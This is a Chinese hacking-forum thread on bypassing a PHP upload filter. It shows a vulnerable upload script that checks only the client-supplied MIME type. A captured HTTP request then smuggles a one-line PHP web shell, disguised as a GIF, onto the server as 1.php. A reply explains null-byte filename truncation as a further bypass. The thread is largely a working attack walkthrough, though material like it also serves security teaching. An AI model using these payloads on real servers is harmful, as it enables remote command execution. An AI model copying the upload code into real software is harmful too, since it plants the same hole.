切换风格

Wizard Sky California Sunset glow Black Cloud Beige Dragon Lavender NewYear City Snow Flowers London
收藏本站XSS平台字符串转换jsfuck
218 php文件上传 MIME类型[复制链接]
发表于 2012-8-24 02:44:32 | 显示全部楼层 |!read_mode!
看代码:up2.php

  1. root@ubuntu:/var/www# cat up2.php
  2. <form action="up2.php" method="post"
  3. enctype="multipart/form-data">
  4. <label for="file">Filename:</label>
  5. <input type="file" name="file" id="file" />
  6. <br />
  7. <input type="submit" name="submit" value="Submit" />
  8. </form>
  9. <?php
  10. if ((($_FILES["file"]["type"] == "image/gif")
  11. || ($_FILES["file"]["type"] == "image/jpeg")
  12. || ($_FILES["file"]["type"] == "image/pjpeg"))
  13. && ($_FILES["file"]["size"] < 20000))
  14.   {
  15.   if ($_FILES["file"]["error"] > 0)
  16.     {
  17.     echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
  18.     }
  19.   else
  20.     {
  21.     echo "Upload: " . $_FILES["file"]["name"] . "<br />";
  22.     echo "Type: " . $_FILES["file"]["type"] . "<br />";
  23.     echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
  24.     echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

  25.     if (file_exists("./" . $_FILES["file"]["name"]))
  26.       {
  27.       echo $_FILES["file"]["name"] . " already exists. ";
  28.       }
  29.     else
  30.       {
  31.       move_uploaded_file($_FILES["file"]["tmp_name"],
  32.       "./" . $_FILES["file"]["name"]);
  33.       echo "Stored in: " . "./" . $_FILES["file"]["name"];
  34.       }
  35.     }
  36.   }
  37. else
  38.   {
  39.   echo "Invalid file";
  40.   }
  41. ?>
  42. root@ubuntu:/var/www#
复制代码

在这个脚本中,我们增加了对文件上传的限制。用户只能上传 .gif 或 .jpeg 文件,需要浏览器提供该信息的支持
用BS抓包 如下:

  1. POST /up2.php HTTP/1.1

  2. Host: 5.5.5.2

  3. User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/20100101 Firefox/4.0

  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

  5. Accept-Language: en-us,en;q=0.5

  6. Accept-Encoding: gzip, deflate

  7. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

  8. Keep-Alive: 115

  9. Proxy-Connection: keep-alive

  10. Referer: http://5.5.5.2/up2.php

  11. Content-Type: multipart/form-data; boundary=---------------------------6537129554217994941264651983

  12. Content-Length: 359



  13. -----------------------------6537129554217994941264651983

  14. Content-Disposition: form-data; name="file"; filename="1.gif"

  15. Content-Type: image/gif



  16. <?php system($_GET['cmd']); ?>


  17. -----------------------------6537129554217994941264651983

  18. Content-Disposition: form-data; name="submit"



  19. Submit

  20. -----------------------------6537129554217994941264651983--
复制代码

和第一个一样 将request 包的1.gif改为1.php上传 成功
通过BS吧1.PHP修改文件类型修Content-type的类型修改为image/gif。
这样就绕过了程序限制 上传







附件: 你需要登录才可以下载或查看附件。没有帐号?加入Team
操千曲而后晓声,观千剑而后识器。
发表于 2012-8-25 12:32:58 | 显示全部楼层
如途中描述,filename的后缀和content-type是判断最常见的组合,那么简单的修改content-type还是不能上传成功的,那么有绕过的办法吗

补充下我说的后缀判断是白名单机制,例如只允许jpg,pen,gif     现在黑名单估计很少用了
操千曲而后晓声,观千剑而后识器。
发表于 2012-8-25 12:49:53 | 显示全部楼层
在文件名后添加一个%00字节额,则可以截断某些函数对文件名的判断。因为在许多语言的函数中,比如在C、PHP等语言的常用字符串处理函数中,0x00被认为是终止符。受此影响的环境有Web应用和一些服务器。比如应用原本只允许上传JPG图片,那么可以构造文件名为xxx.php[\0].JPG,其中[\0]为十六进制的0x00字符,.JPG绕过了应用的上传文件类型判断;但对于服务器来说,此文件因为0x00字符截断的关系,最终却变成了xxx.php。

注意:%00字符截断的问题不只在上传文件漏洞中有所利用,因为这时一个被广泛用于字符串处理函数的保留字符,因此在各种不同的业务逻辑中都可能出现问题,需要引起重视。
操千曲而后晓声,观千剑而后识器。
发表于 2014-7-25 19:33:50 | 显示全部楼层
好好顶一下

代码区

GMT+8, 2020-10-2 02:26

Powered by Discuz! X2

© 2001-2018 Comsenz Inc.

回顶部